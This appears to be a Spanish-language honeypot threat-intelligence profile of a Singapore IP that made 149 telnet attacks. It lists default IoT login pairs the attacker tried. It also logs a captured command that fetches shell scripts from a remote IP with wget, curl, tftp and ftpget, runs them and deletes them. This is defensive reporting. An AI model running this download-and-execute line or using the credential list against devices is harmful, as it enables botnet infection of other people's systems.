Amenaza Activa • MEDIO
139.180.152.162
Pais de Origen🇸🇬 Singapur
Primera Deteccion22/2/2026
Ultima Actividad22/2/2026
ISPThe Constant Company, LLC
🎯
149
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
2
Malware
Geolocalizacion
- Pais
- 🇸🇬 Singapur
- Ciudad
- Singapore
- ASN
- AS20473
- ISP
- The Constant Company, LLC
Tipos de Ataque
cowrie
Puertos Atacados
23
Malware Asociado
Credenciales Intentadas
🔐root/vizxv
3x🔐root/icatch99
2x🔐root/(vacio)
2x🔐root/toor
1x🔐guest/guest
1x🔐admin/admin
1x🔐admin/password
1x🔐root/xc3511
1x🔐root/1234
1x🔐root/root
1x🔐admin/(vacio)
1x🔐user/user
1x🔐root/86981198
1x🔐telnet/telnet
1xComandos Ejecutados
$
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -qO- http://139.59.119.89/ohshit.sh | sh; curl -s http://139.59.119.89/ohshit.sh | sh; wget http://139.59.119.89/ohshit.sh -O ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 139.59.119.89 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 139.59.119.89; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.119.89 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit2.sh 1xEvaluacion de Riesgo
45
/100
BajoMedioAltoCritico